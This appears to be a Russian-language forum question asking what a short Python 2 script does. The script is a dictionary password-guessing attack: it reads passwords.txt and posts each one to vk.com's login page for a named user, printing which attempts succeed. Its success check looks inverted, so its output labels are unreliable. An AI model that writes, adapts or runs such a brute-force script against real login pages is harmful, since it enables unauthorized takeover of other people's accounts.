Подскажите что делает приведенный код - Python

# -*- encoding: utf-8 -*-
import httplib, urllib
 
infile = open('passwords.txt', 'r')
user = 'Slemers'
host = 'vk.com'
redirect_url = 'vk.com'
path = '/login'
print "\nЗапрос авторизации по адресу : "+host+path
 
for line in infile:
     password=line.rstrip('\n')
     param = urllib.urlencode({'submit':'submit','log_in[username]':user,'log_in[password]':password,'log_in[remember]':1,'redirect_url':redirect_url,
          'security_log_additional_info':1})
 
     # "{"language":"ru-RU","cookieEnabled":true,"javaEnabled":true,"flashVersion":"20.0.0","dateTime":"04.04.2016,+20:09:11"}" security_log_additional_info
 
     header = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain",
               "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"}
     connect = httplib.HTTPConnection(host)
     connect.request("POST", path, param, header)
     response = connect.getresponse()
     #print response,
     print response.status,
     print "--> "+user+":"+password,
     code = response.read()
     if code.find("Неверное имя пользователя или пароль.") <= 0:
          print chr(27)+"[0;91m"+"Incorrect"
     else:
          print chr(27)+"[0;92m"+"Correct"
     print chr(27)+"[0m"
     connect.close()
infile.close()